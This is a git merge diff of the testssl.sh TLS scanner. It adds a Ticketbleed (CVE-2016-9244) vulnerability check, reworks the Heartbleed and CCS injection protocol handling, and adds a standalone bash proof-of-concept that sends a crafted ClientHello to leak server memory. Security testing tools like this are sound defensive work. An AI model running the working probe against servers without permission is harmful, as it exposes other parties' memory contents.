Merge branch '2.9dev' into openssl_location

This commit is contained in:
David Cooper 2017-04-19 09:13:33 -04:00
commit f7540cae57
3 changed files with 580 additions and 45 deletions

View File

@ -14,7 +14,7 @@ my (
);
# OK
pass("Running testssl.sh against ssl.sectionzero.org"); $tests++;
$out = `./testssl.sh -H --jsonfile tmp.json --color 0 ssl.sectionzero.org`;
$out = `./testssl.sh --headers --jsonfile tmp.json --color 0 ssl.sectionzero.org`;
$json = json('tmp.json');
unlink 'tmp.json';

View File

@ -161,6 +161,7 @@ TERM_CURRPOS=0 # custom line wrappi
# 0 means (normally) true here. Some of the variables are also accessible with a command line switch, see --help
declare -x OPENSSL OPENSSL_TIMEOUT
FAST_SOCKET=${FAST_SOCKET:-false} # EXPERIMENTAL feature to accelerate sockets -- DO NOT USE it for production
COLOR=${COLOR:-2} # 2: Full color, 1: b/w+positioning, 0: no ESC at all
COLORBLIND=${COLORBLIND:-false} # if true, swap blue and green in the output
SHOW_EACH_C=${SHOW_EACH_C:-false} # where individual ciphers are tested show just the positively ones tested
@ -952,6 +953,19 @@ hex2ascii() {
done
}
# convert decimal number < 256 to hex
dec02hex() {
printf "x%02x" "$1"
}
# convert decimal number between 256 and < 256*256 to hex
dec04hex() {
local a=$(printf "%04x" "$1")
printf "x%02s, x%02s" "${a:0:2}" "${a:2:2}"
}
# trim spaces for BSD and old sed
count_lines() {
#echo "${$(wc -l <<< "$1")// /}"
@ -3409,7 +3423,6 @@ client_simulation_sockets() {
sleep $USLEEP_SND
sockread_serverhello 32768
tls_hello_ascii=$(hexdump -v -e '16/1 "%02X"' "$SOCK_REPLY_FILE")
tls_hello_ascii="${tls_hello_ascii%%[!0-9A-F]*}"
@ -6912,14 +6925,17 @@ socksend_sslv2_clienthello() {
# for SSLv2 to TLS 1.2:
sockread_serverhello() {
[[ -z "$2" ]] && maxsleep=$MAX_WAITSOCK || maxsleep=$2
SOCK_REPLY_FILE=$(mktemp $TEMPDIR/ddreply.XXXXXX) || return 7
dd bs=$1 of=$SOCK_REPLY_FILE count=1 <&5 2>/dev/null &
wait_kill $! $maxsleep
return $?
}
#trying a faster version
sockread_fast() {
dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"'
}
get_pub_key_size() {
local pubkey pubkeybits
local -i i len1 len
@ -8637,16 +8653,25 @@ run_heartbleed(){
return 0
fi
# determine TLS versions offered <-- needs to come from another place
$OPENSSL s_client $STARTTLS $BUGS -connect $NODEIP:$PORT $PROXY -tlsextdebug >$TMPFILE 2>$ERRFILE </dev/null
if $(has_server_protocol "tls1"); then
tls_hexcode="x03, x01"
elif $(has_server_protocol "tls1_1"); then
tls_hexcode="x03, x02"
elif $(has_server_protocol "tls1_2"); then
tls_hexcode="x03, x03"
elif $(has_server_protocol "ssl3"); then
tls_hexcode="x03, x00"
else # no protcol for some reason defined, determine TLS versions offered with a new handshake
$OPENSSL s_client $STARTTLS $BUGS -connect $NODEIP:$PORT $PROXY >$TMPFILE 2>$ERRFILE </dev/null
case "$(get_protocol $TMPFILE)" in
*1.2) tls_hexcode="x03, x03" ;;
*1.1) tls_hexcode="x03, x02" ;;
TLSv1) tls_hexcode="x03, x01" ;;
SSLv3) tls_hexcode="x03, x00" ;;
esac
fi
debugme echo "using protocol $tls_hexcode"
tls_proto_offered=$(get_protocol $TMPFILE)
#FIXME: for SSLv3 only we need to set tls_hexcode and the record layer TLS version correctly
case $tls_proto_offered in
12) tls_hexcode="x03, x03" ;;
11) tls_hexcode="x03, x02" ;;
*) tls_hexcode="x03, x01" ;;
esac
heartbleed_payload=", x18, $tls_hexcode, x00, x03, x01, x40, x00"
client_hello="
@ -8777,7 +8802,7 @@ ok_ids(){
#FIXME: At a certain point heartbleed and ccs needs to be changed and make use of code2network using a file, then tls_sockets
run_ccs_injection(){
local tls_proto_offered tls_hexcode ccs_message client_hello byte6 sockreply
local tls_hexcode ccs_message client_hello byte6 sockreply
local -i retval ret
local tls_hello_ascii=""
local cve="CVE-2014-0224"
@ -8789,16 +8814,25 @@ run_ccs_injection(){
[[ $VULN_COUNT -le $VULN_THRESHLD ]] && outln && pr_headlineln " Testing for CCS injection vulnerability " && outln
pr_bold " CCS"; out " ($cve) "
# determine TLS versions offered <-- needs to come from another place
$OPENSSL s_client $STARTTLS $BUGS -connect $NODEIP:$PORT $PROXY >$TMPFILE 2>$ERRFILE </dev/null
if $(has_server_protocol "tls1"); then
tls_hexcode="x03, x01"
elif $(has_server_protocol "tls1_1"); then
tls_hexcode="x03, x02"
elif $(has_server_protocol "tls1_2"); then
tls_hexcode="x03, x03"
elif $(has_server_protocol "ssl3"); then
tls_hexcode="x03, x00"
else # no protcol for some reason defined, determine TLS versions offered with a new handshake
$OPENSSL s_client $STARTTLS $BUGS -connect $NODEIP:$PORT $PROXY >$TMPFILE 2>$ERRFILE </dev/null
case "$(get_protocol $TMPFILE)" in
*1.2) tls_hexcode="x03, x03" ;;
*1.1) tls_hexcode="x03, x02" ;;
TLSv1) tls_hexcode="x03, x01" ;;
SSLv3) tls_hexcode="x03, x00" ;;
esac
fi
debugme echo "using protocol $tls_hexcode"
tls_proto_offered=$(get_protocol $TMPFILE)
case "$tls_proto_offered" in
12) tls_hexcode="x03, x03" ;;
11) tls_hexcode="x03, x02" ;;
*) tls_hexcode="x03, x01" ;;
#FIXME: for SSLv3 only we need to set tls_hexcode and the record layer TLS version correctly
esac
ccs_message=", x14, $tls_hexcode ,x00, x01, x01"
client_hello="
@ -8922,6 +8956,203 @@ run_ccs_injection(){
return $ret
}
get_session_ticket_tls() {
local sessticket_tls=""
#FIXME: we likely have done this already before (either @ run_server_defaults() or at least the output from a previous handshake) --> would save 1x connect
#ATTENTION: we don't do SNI here as we assume this is a vulnerabilty of the TLS stack. If we do SNI here, we'd also need to do it in the ClientHello
# of run_ticketbleed() otherwise the ticket will be different and the whole thing won't work!
sessticket_tls="$($OPENSSL s_client $BUGS $OPTIMAL_PROTO $PROXY -connect $NODEIP:$PORT </dev/null 2>$ERRFILE | awk '/TLS session ticket:/,/^$/' | awk '!/TLS session ticket/')"
sessticket_tls="$(sed -e 's/^.* - /x/g' -e 's/ .*$//g' <<< "$sessticket_tls" | tr '\n' ',')"
sed -e 's/ /,x/g' -e 's/-/,x/g' <<< "$sessticket_tls"
}
# see https://blog.filippo.io/finding-ticketbleed/ | http://ticketbleed.com/
run_ticketbleed() {
local session_tckt_tls=""
local -i len_ch=216 # fixed len of clienthello below
local sid="x00,x0B,xAD,xC0,xDE,x00," # some abitratry bytes
local len_sid="$(( ${#sid} / 4))"
local xlen_sid="$(dec02hex $len_sid)"
local -i len_tckt_tls=0
local xlen_tckt_tls="" xlen_handshake_record_layer="" xlen_handshake_ssl_layer=""
local -i len_handshake_record_layer=0
local cve="CVE-2016-9244"
local cwe="CWE-200"
local hint=""
local tls_version=""
[[ $VULN_COUNT -le $VULN_THRESHLD ]] && outln && pr_headlineln " Testing for Ticketbleed vulnerability " && outln
pr_bold " Ticketbleed"; out " ($cve), experiment. "
[[ "$SERVICE" != HTTP ]] && prln "-- (applicable only for HTTPS)" && return 0
if $(has_server_protocol "tls1"); then
tls_hexcode="x03, x01"
elif $(has_server_protocol "tls1_1"); then
tls_hexcode="x03, x02"
elif $(has_server_protocol "tls1_2"); then
tls_hexcode="x03, x03"
elif $(has_server_protocol "ssl3"); then
tls_hexcode="x03, x00"
else # no protocol for some reason defined, determine TLS versions offered with a new handshake
$OPENSSL s_client $BUGS $OPTIMAL_PROTO -connect $NODEIP:$PORT $PROXY $SNI >$TMPFILE 2>$ERRFILE </dev/null
case "$(get_protocol $TMPFILE)" in
*1.2) tls_hexcode="x03, x03" ;;
*1.1) tls_hexcode="x03, x02" ;;
TLSv1) tls_hexcode="x03, x01" ;;
SSLv3) tls_hexcode="x03, x00" ;;
esac
fi
debugme echo "using protocol $tls_hexcode"
session_tckt_tls="$(get_session_ticket_tls)"
debugme echo " session ticket TLS \"$session_tckt_tls\""
if [[ "$session_tckt_tls" == "," ]]; then
pr_done_best "not vulnerable (OK)"
outln ", no session tickets"
fileout "ticketbleed" "OK" "Ticketbleed: not vulnerable" "$cve" "$cwe"
return 0
fi
len_tckt_tls=${#session_tckt_tls}
len_tckt_tls=$(( len_tckt_tls / 4))
xlen_tckt_tls="$(dec02hex $len_tckt_tls)"
len_handshake_record_layer="$(( len_sid + len_ch + len_tckt_tls ))"
xlen_handshake_record_layer="$(dec04hex "$len_handshake_record_layer")"
len_handshake_ssl_layer="$(( len_handshake_record_layer + 4 ))"
xlen_handshake_ssl_layer="$(dec04hex "$len_handshake_ssl_layer")"
if [[ "$DEBUG" -ge 2 ]]; then
echo "len_tckt_tls (hex): $len_tckt_tls ($xlen_tckt_tls)"
echo "sid: $sid"
echo "len_sid (hex) $len_sid ($xlen_sid)"
echo "len_handshake_record_layer: $len_handshake_record_layer ($xlen_handshake_record_layer)"
echo "len_handshake_ssl_layer: $len_handshake_ssl_layer ($xlen_handshake_ssl_layer)"
echo "session_tckt_tls: $session_tckt_tls"
fi
client_hello="
# TLS header (5 bytes)
,x16, # Content type (x16 for handshake)
x03, x01, # TLS version record layer
# Length Secure Socket Layer follows:
$xlen_handshake_ssl_layer,
# Handshake header
x01, # Type (x01 for ClientHello)
# Length of client hello follows:
x00, $xlen_handshake_record_layer,
$tls_hexcode, # TLS Version
# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
xee, xee, x5b, x90, x9d, x9b, x72, x0b,
xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
xcf, xbd, x39, x04, xcc, x16, x0a, x85,
x03, x90, x9f, x77, x04, x33, xff, xff,
$xlen_sid, # Session ID length
$sid
x00, x66, # Cipher suites length
# Cipher suites (51 suites)
xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
x00, x39, x00, x38, x00, x88, x00, x87,
xc0, x0f, xc0, x05, x00, x35, x00, x84,
xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
x00, x16, x00, x13, xc0, x0d, xc0, x03,
x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
xc0, x1e, x00, x33, x00, x32, x00, x9a,
x00, x99, x00, x45, x00, x44, xc0, x0e,
xc0, x04, x00, x2f, x00, x96, x00, x41,
xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
x00, x05, x00, x04, x00, x15, x00, x12,
x00, x09, x00, x14, x00, x11, x00, x08,
x00, x06, x00, x03, x00, xff,
x01, # Compression methods length
x00, # Compression method (x00 for NULL)
x01, x0b, # Extensions length
# Extension: ec_point_formats
x00, x0b, x00, x04, x03, x00, x01, x02,
# Extension: elliptic_curves
x00, x0a, x00, x34, x00, x32, x00, x0e,
x00, x0d, x00, x19, x00, x0b, x00, x0c,
x00, x18, x00, x09, x00, x0a, x00, x16,
x00, x17, x00, x08, x00, x06, x00, x07,
x00, x14, x00, x15, x00, x04, x00, x05,
x00, x12, x00, x13, x00, x01, x00, x02,
x00, x03, x00, x0f, x00, x10, x00, x11,
# Extension: SessionTicket TLS
x00, x23,
# length of SessionTicket TLS
x00, $xlen_tckt_tls,
# Session Ticket
$session_tckt_tls # here we have the comma already
# Extension: Heartbeat
x00, x0f, x00, x01, x01"
fd_socket 5 || return 6
debugme tmln_out "\nsending client hello "
socksend "$client_hello" 0
debugme tmln_out "\nreading server hello (ticketbleed reply)"
if "$FAST_SOCKET"; then
tls_hello_ascii=$(sockread_fast 32768)
else
sockread_serverhello 32768 $CCS_MAX_WAITSOCK
tls_hello_ascii=$(hexdump -v -e '16/1 "%02X"' "$SOCK_REPLY_FILE")
fi
[[ "$DEBUG" -ge 5 ]] && echo "$tls_hello_ascii"
if [[ "$DEBUG" -ge 4 ]]; then
echo "============================="
echo "$tls_hello_ascii"
echo "============================="
fi
if [[ "${tls_hello_ascii:0:2}" == "16" ]]; then
debugme echo -n "Handshake (TLS version: ${tls_hello_ascii:2:4}), "
if [[ "${tls_hello_ascii:10:6}" == 020000 ]]; then
debugme echo -n "ServerHello -- "
else
debugme echo -n "Message type: ${tls_hello_ascii:10:6} -- "
fi
sid_detected="${tls_hello_ascii:88:32}"
sid_input=$(sed -e 's/x//g' -e 's/,//g' <<< "$sid")
if [[ "$DEBUG" -ge 2 ]]; then
echo
echo "TLS version, record layer: ${tls_hello_ascii:18:4}"
echo "Random bytes / timestamp: ${tls_hello_ascii:22:64}"
echo "Session ID: $sid_detected"
fi
if grep -q $sid_input <<< "$sid_detected"; then
pr_svrty_critical "VULNERABLE (NOT ok)"
fileout "ticketbleed" "CRITICAL" "Ticketbleed: VULNERABLE" "$cve" "$cwe" "$hint"
else
out "likely "
pr_done_best "not vulnerable (OK)"
out " -- but received a session ID back which shouldn't happen"
fileout "ticketbleed" "OK" "Ticketbleed: vulnerable, but with a session ID reply" "$cve" "$cwe"
fi
elif [[ "${tls_hello_ascii:0:2}" == "15" ]]; then
debugme echo -n "TLS Alert ${tls_hello_ascii:10:4} (TLS version: ${tls_hello_ascii:2:4}) -- "
pr_done_best "not vulnerable (OK)"
fileout "ticketbleed" "OK" "Ticketbleed: not vulnerable" "$cve" "$cwe"
else
ret=1
pr_warning "test failed "
out "around line $LINENO (debug info: ${tls_hello_ascii:0:2}, ${tls_hello_ascii:2:10})"
fileout "ticketbleed" "WARN" "Ticketbleed: test failed, around $LINENO (debug info: ${tls_hello_ascii:0:2}, ${tls_hello_ascii:2:10})" "$cve" "$cwe"
fi
outln
if [[ "$DEBUG" -ge 1 ]]; then
echo $tls_hello_ascii >$FUNCNAME.txt
tmpfile_handle $FUNCNAME.txt
fi
close_socket
return $ret
}
run_renego() {
# no SNI here. Not needed as there won't be two different SSL stacks for one IP
local legacycmd=""
@ -10651,14 +10882,15 @@ single check as <options> ("$PROG_NAME URI" does everything except -E):
-x, --single-cipher <pattern> tests matched <pattern> of ciphers
(if <pattern> not a number: word match)
-c, --client-simulation test client simulations, see which client negotiates with cipher and protocol
-H, --header, --headers tests HSTS, HPKP, server/app banner, security headers, cookie, reverse proxy, IPv4 address
-h, --header, --headers tests HSTS, HPKP, server/app banner, security headers, cookie, reverse proxy, IPv4 address
-U, --vulnerable tests all (of the following) vulnerabilities (if applicable)
-B, --heartbleed tests for heartbleed vulnerability
-H, --heartbleed tests for heartbleed vulnerability
-I, --ccs, --ccs-injection tests for CCS injection vulnerability
-T, --ticketbleed tests for Ticketbleed vulnerability in BigIP loadbalancers
-R, --renegotiation tests for renegotiation vulnerabilities
-C, --compression, --crime tests for CRIME vulnerability (TLS compression issue)
-T, --breach tests for BREACH vulnerability (HTTP compression issue)
-B, --breach tests for BREACH vulnerability (HTTP compression issue)
-O, --poodle tests for POODLE (SSL) vulnerability
-Z, --tls-fallback checks TLS_FALLBACK_SCSV mitigation
-W, --sweet32 tests 64 bit block ciphers (3DES, RC2 and IDEA): SWEET32 vulnerability
@ -10867,7 +11099,7 @@ EOF
modification under GPLv2 permitted.
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!
Please file bugs @
Please file bugs @
EOF
)
bb3=$(cat <<EOF
@ -11451,36 +11683,46 @@ sclient_auth() {
# The first try in the loop is empty as we prefer not to specify always a protocol if we can get along w/o it
#
determine_optimal_proto() {
local all_failed
local all_failed=true
local sni=""
#TODO: maybe query known openssl version before this workaround. 1.0.1 doesn't need this
local tmp=""
>$ERRFILE
if [[ -n "$1" ]]; then
# starttls workaround needed see https://github.com/drwetter/testssl.sh/issues/188
# kind of odd
# starttls workaround needed see https://github.com/drwetter/testssl.sh/issues/188 -- kind of odd
for STARTTLS_OPTIMAL_PROTO in -tls1_2 -tls1 -ssl3 -tls1_1 -ssl2; do
$OPENSSL s_client $STARTTLS_OPTIMAL_PROTO $BUGS -connect "$NODEIP:$PORT" $PROXY -msg -starttls $1 </dev/null >$TMPFILE 2>>$ERRFILE
if sclient_auth $? $TMPFILE; then
all_failed=1
all_failed=false
break
fi
all_failed=0
all_failed=true
done
[[ $all_failed -eq 0 ]] && STARTTLS_OPTIMAL_PROTO=""
"$all_failed" && STARTTLS_OPTIMAL_PROTO=""
debugme echo "STARTTLS_OPTIMAL_PROTO: $STARTTLS_OPTIMAL_PROTO"
else
for OPTIMAL_PROTO in '' -tls1_2 -tls1 -ssl3 -tls1_1 -ssl2; do
[[ "$OPTIMAL_PROTO" =~ ssl ]] && sni="" || sni=$SNI
$OPENSSL s_client $OPTIMAL_PROTO $BUGS -connect "$NODEIP:$PORT" -msg $PROXY $sni </dev/null >$TMPFILE 2>>$ERRFILE
if sclient_auth $? $TMPFILE; then
all_failed=1
# we use the successful handshake at least to get one valid protocol supported -- it saves us time later
if [[ -z "$OPTIMAL_PROTO" ]]; then
# convert to openssl terminology
tmp=$(get_protocol $TMPFILE)
tmp=${tmp/\./_}
tmp=${tmp/v/}
tmp="$(tolower $tmp)"
add_tls_offered "$tmp"
else
add_tls_offered "${OPTIMAL_PROTO/-/}"
fi
debugme echo "one proto determined: $tmp"
all_failed=false
break
fi
all_failed=0
all_failed=true
done
[[ $all_failed -eq 0 ]] && OPTIMAL_PROTO=""
"$all_failed" && OPTIMAL_PROTO=""
debugme echo "OPTIMAL_PROTO: $OPTIMAL_PROTO"
if [[ "$OPTIMAL_PROTO" == "-ssl2" ]]; then
prln_magenta "$NODEIP:$PORT appears to only support SSLv2."
@ -11490,7 +11732,7 @@ determine_optimal_proto() {
fi
grep -q '^Server Temp Key' $TMPFILE && HAS_DH_BITS=true # FIX #190
if [[ $all_failed -eq 0 ]]; then
if "$all_failed"; then
outln
if "$HAS_IPv6"; then
pr_bold " Your $OPENSSL is not IPv6 aware, or $NODEIP:$PORT "
@ -11889,6 +12131,7 @@ initialize_globals() {
do_lucky13=false
do_breach=false
do_ccs_injection=false
do_ticketbleed=false
do_cipher_per_proto=false
do_crime=false
do_freak=false
@ -11931,6 +12174,7 @@ set_scanning_defaults() {
do_breach=true
do_heartbleed=true
do_ccs_injection=true
do_ticketbleed=true
do_crime=true
do_freak=true
do_logjam=true
@ -11956,7 +12200,7 @@ query_globals() {
local gbl
local true_nr=0
for gbl in do_allciphers do_vulnerabilities do_beast do_lucky13 do_breach do_ccs_injection do_cipher_per_proto do_crime \
for gbl in do_allciphers do_vulnerabilities do_beast do_lucky13 do_breach do_ccs_injection do_ticketbleed do_cipher_per_proto do_crime \
do_freak do_logjam do_drown do_header do_heartbleed do_mx_all_ips do_pfs do_protocols do_rc4 do_renego \
do_std_cipherlists do_server_defaults do_server_preference do_spdy do_http2 do_ssl_poodle do_tls_fallback_scsv \
do_sweet32 do_client_simulation do_cipher_match do_tls_sockets do_mass_testing do_display_only; do
@ -11969,7 +12213,7 @@ query_globals() {
debug_globals() {
local gbl
for gbl in do_allciphers do_vulnerabilities do_beast do_lucky13 do_breach do_ccs_injection do_cipher_per_proto do_crime \
for gbl in do_allciphers do_vulnerabilities do_beast do_lucky13 do_breach do_ccs_injection do_ticketbleed do_cipher_per_proto do_crime \
do_freak do_logjam do_drown do_header do_heartbleed do_mx_all_ips do_pfs do_protocols do_rc4 do_renego \
do_std_cipherlists do_server_defaults do_server_preference do_spdy do_http2 do_ssl_poodle do_tls_fallback_scsv \
do_sweet32 do_client_simulation do_cipher_match do_tls_sockets do_mass_testing do_display_only; do
@ -12107,7 +12351,7 @@ parse_cmd_line() {
-P|--server[_-]preference|--preference)
do_server_preference=true
;;
-H|--header|--headers)
-h|--header|--headers)
do_header=true
;;
-c|--client-simulation)
@ -12117,6 +12361,7 @@ parse_cmd_line() {
do_vulnerabilities=true
do_heartbleed=true
do_ccs_injection=true
do_ticketbleed=true
do_renego=true
do_crime=true
do_breach=true
@ -12129,9 +12374,9 @@ parse_cmd_line() {
do_beast=true
do_lucky13=true
do_rc4=true
VULN_COUNT=10
VULN_COUNT=16
;;
-B|--heartbleed)
-H|--heartbleed)
do_heartbleed=true
let "VULN_COUNT++"
;;
@ -12139,6 +12384,10 @@ parse_cmd_line() {
do_ccs_injection=true
let "VULN_COUNT++"
;;
-T|--ticketbleed)
do_ticketbleed=true
let "VULN_COUNT++"
;;
-R|--renegotiation)
do_renego=true
let "VULN_COUNT++"
@ -12147,7 +12396,7 @@ parse_cmd_line() {
do_crime=true
let "VULN_COUNT++"
;;
-T|--breach)
-B|--breach)
do_breach=true
let "VULN_COUNT++"
;;
@ -12486,6 +12735,7 @@ lets_roll() {
fileout_section_header $section_number true && ((section_number++))
$do_heartbleed && { run_heartbleed; ret=$(($? + ret)); time_right_align run_heartbleed; }
$do_ccs_injection && { run_ccs_injection; ret=$(($? + ret)); time_right_align run_ccs_injection; }
$do_ticketbleed && { run_ticketbleed; ret=$(($? + ret)); time_right_align run_ticketbleed; }
$do_renego && { run_renego; ret=$(($? + ret)); time_right_align run_renego; }
$do_crime && { run_crime; ret=$(($? + ret)); time_right_align run_crime; }
$do_breach && { run_breach "$URL_PATH" ; ret=$(($? + ret)); time_right_align run_breach; }

285
utils/ticketbleed.bash Executable file
View File

@ -0,0 +1,285 @@
#!/bin/bash
# POC bash socket implementation of ticketbleed (CVE-2016-9244), see also http://ticketbleed.com/
# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
#
# sockets inspired by http://blog.chris007.de/?p=238
# ticketbleed inspired by https://blog.filippo.io/finding-ticketbleed/
#
###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
trap "cleanup" QUIT EXIT
[[ -z "$1" ]] && exit 1
# insert some hexspeak here :-)
SID="x00,x00,x0B,xAD,xC0,xDE," # don't forget the trailing comma
NODE="$1"
PORT="443"
TLSV=${2:-01} # TLS 1.0=x01 1.1=0x02, 1.2=0x3
MAXSLEEP=10
SOCKREPLY=""
COL_WIDTH=32
DEBUG=${DEBUG:-"false"}
HELLO_READBYTES=${HELLO_READBYTES:-65535}
dec2hex() { printf "x%02x" "$1"; }
dec2hexB() {
a=$(printf "%04x" "$1")
printf "x%02s, x%02s" "${a:0:2}" "${a:2:2}"
}
LEN_SID=$(( ${#SID} / 4)) # the real length in bytes
XLEN_SID="$(dec2hex $LEN_SID)"
red=$(tput setaf 1; tput bold)
green=$(tput bold; tput setaf 2)
lgreen=$(tput setaf 2)
brown=$(tput setaf 3)
blue=$(tput setaf 4)
magenta=$(tput setaf 5)
cyan=$(tput setaf 6)
grey=$(tput setaf 7)
yellow=$(tput setaf 3; tput bold)
normal=$(tput sgr0)
send_clienthello() {
local -i len_ch=216 # len of clienthello, exlcuding TLS session ticket and SID (record layer)
local session_tckt_tls="$1"
local -i len_tckt_tls="${#1}"
local xlen_tckt_tls=""
len_tckt_tls=$(( len_tckt_tls / 4))
xlen_tckt_tls="$(dec2hex $len_tckt_tls)"
local len_handshake_record_layer="$(( LEN_SID + len_ch + len_tckt_tls ))"
local xlen_handshake_record_layer="$(dec2hexB "$len_handshake_record_layer")"
local len_handshake_ssl_layer="$(( len_handshake_record_layer + 4 ))"
local xlen_handshake_ssl_layer="$(dec2hexB "$len_handshake_ssl_layer")"
if $DEBUG; then
echo "len_tckt_tls (hex): $len_tckt_tls ($xlen_tckt_tls)"
echo "SID: $SID"
echo "LEN_SID (XLEN_SID) $LEN_SID ($XLEN_SID)"
echo "len_handshake_record_layer: $len_handshake_record_layer ($xlen_handshake_record_layer)"
echo "len_handshake_ssl_layer: $len_handshake_ssl_layer ($xlen_handshake_ssl_layer)"
echo "session_tckt_tls: $session_tckt_tls"
fi
client_hello="
# TLS header (5 bytes)
,x16, # Content type (x16 for handshake)
x03, x01, # TLS Version
# Length Secure Socket Layer follow:
$xlen_handshake_ssl_layer,
# Handshake header
x01, # Type (x01 for ClientHello)
# Length of client hello follows:
x00, $xlen_handshake_record_layer,
x03, x$TLSV, # TLS Version
# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
xee, xee, x5b, x90, x9d, x9b, x72, x0b,
xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
xcf, xbd, x39, x04, xcc, x16, x0a, x85,
x03, x90, x9f, x77, x04, x33, xff, xff,
$XLEN_SID, # Session ID length
$SID
x00, x66, # Cipher suites length
# Cipher suites (51 suites)
xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
x00, x39, x00, x38, x00, x88, x00, x87,
xc0, x0f, xc0, x05, x00, x35, x00, x84,
xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
x00, x16, x00, x13, xc0, x0d, xc0, x03,
x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
xc0, x1e, x00, x33, x00, x32, x00, x9a,
x00, x99, x00, x45, x00, x44, xc0, x0e,
xc0, x04, x00, x2f, x00, x96, x00, x41,
xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
x00, x05, x00, x04, x00, x15, x00, x12,
x00, x09, x00, x14, x00, x11, x00, x08,
x00, x06, x00, x03, x00, xff,
x01, # Compression methods length
x00, # Compression method (x00 for NULL)
x01, x0b, # Extensions length
# Extension: ec_point_formats
x00, x0b, x00, x04, x03, x00, x01, x02,
# Extension: elliptic_curves
x00, x0a, x00, x34, x00, x32, x00, x0e,
x00, x0d, x00, x19, x00, x0b, x00, x0c,
x00, x18, x00, x09, x00, x0a, x00, x16,
x00, x17, x00, x08, x00, x06, x00, x07,
x00, x14, x00, x15, x00, x04, x00, x05,
x00, x12, x00, x13, x00, x01, x00, x02,
x00, x03, x00, x0f, x00, x10, x00, x11,
# Extension: SessionTicket TLS
x00, x23,
# length of SessionTicket TLS
x00, $xlen_tckt_tls,
# Session Ticket
$session_tckt_tls # here we have the comma aleady
# Extension: Heartbeat
x00, x0f, x00, x01, x01"
msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')
socksend "$msg" $TLSV
}
parse_hn_port() {
# strip "https", supposed it was supplied additionally
grep -q 'https://' <<< "$NODE" && NODE="$(sed -e 's/https\:\/\///' <<< "$NODE")"
# strip trailing urlpath
NODE=$(sed -e 's/\/.*$//' <<< "$NODE")
# determine port, supposed it was supplied additionally
grep -q ':' <<< "$NODE" && PORT=$(sed 's/^.*\://' <<< "$NODE") && NODE=$(sed 's/\:.*$//' <<< "$NODE")
}
wait_kill(){
pid=$1
maxsleep=$2
while true; do
if ! ps $pid >/dev/null ; then
return 0 # didn't reach maxsleep yet
fi
sleep 1
maxsleep=$((maxsleep - 1))
test $maxsleep -eq 0 && break
done # needs to be killed
kill $pid >&2 2>/dev/null
wait $pid 2>/dev/null
return 3 # killed
}
socksend() {
local len
data="$(echo -n $1)"
if "$DEBUG"; then
echo "\"$data\""
len=$(( $(wc -c <<< "$data") / 4 ))
echo -n "length: $len / "
dec2hexB $len
echo
fi
echo -en "$data" >&5
}
sockread_nonblocking() {
[[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
ret=0
SOCKREPLY="$(dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"')" &
wait_kill $! $maxsleep
ret=$?
echo -n -e "$SOCKREPLY" # this doesn't work as the SOCKREPLY above belngs to a bckgnd process
return $ret
}
sockread() {
dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"'
}
fixme(){
tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
}
fd_socket(){
if ! exec 5<> /dev/tcp/$NODE/$PORT; then
echo "$(basename $0): unable to connect to $NODE:$PORT"
exit 2
fi
}
close_socket(){
exec 5<&-
exec 5>&-
return 0
}
cleanup() {
close_socket
}
get_sessticket() {
local sessticket_str
sessticket_str="$(openssl s_client -connect $NODE:$PORT </dev/null 2>/dev/null | awk '/TLS session ticket:/,/^$/' | awk '!/TLS session ticket/')"
sessticket_str="$(sed -e 's/^.* - /x/g' -e 's/ .*$//g' <<< "$sessticket_str" | tr '\n' ',')"
sed -e 's/ /,x/g' -e 's/-/,x/g' <<< "$sessticket_str"
}
#### main
parse_hn_port "$1"
echo
"$DEBUG" && ( echo )
echo "##### 1) Connect to determine 1x session ticket TLS"
# attn! neither here nor in the following client hello we do SNI. Assuming this is a vulnebilty of the TLS implementation
SESS_TICKET_TLS="$(get_sessticket)"
[[ "$SESS_TICKET_TLS" == "," ]] && echo -e "${green}OK, not vulnerable${normal}, no session tickets\n" && exit 0
fd_socket $PORT
"$DEBUG" && ( echo; echo )
echo "##### 2) Sending ClientHello (TLS version 03,$TLSV) with this ticket and a made up SessionID"
"$DEBUG" && echo
send_clienthello "$SESS_TICKET_TLS"
"$DEBUG" && ( echo; echo )
echo "##### 3) Reading server reply ($HELLO_READBYTES bytes)"
echo
SOCKREPLY=$(sockread $HELLO_READBYTES)
if "$DEBUG"; then
echo "============================="
echo "$SOCKREPLY"
echo "============================="
fi
if [[ "${SOCKREPLY:0:2}" == "16" ]]; then
echo -n "Handshake (TLS version: ${SOCKREPLY:2:4}), "
if [[ "${SOCKREPLY:10:6}" == 020000 ]]; then
echo -n "ServerHello -- "
else
echo -n "Message type: ${SOCKREPLY:10:6} -- "
fi
sid_detected="${SOCKREPLY:88:32}"
sid_input=$(sed -e 's/x//g' -e 's/,//g' <<< "$SID")
if "$DEBUG"; then
echo
echo "TLS version, record layer: ${SOCKREPLY:18:4}"
echo "Random bytes / timestamp: ${SOCKREPLY:22:64}"
echo "Session ID: $sid_detected"
fi
if grep -q $sid_input <<< "$sid_detected"; then
echo "${red}VULNERABLE!${normal}"
echo -n " (${yellow}Session ID${normal}, ${red}mem returned${normal} --> "
echo -n "$sid_detected" | sed -e "s/$sid_input/${yellow}$sid_input${normal}${red}/g"
echo "${normal})"
else
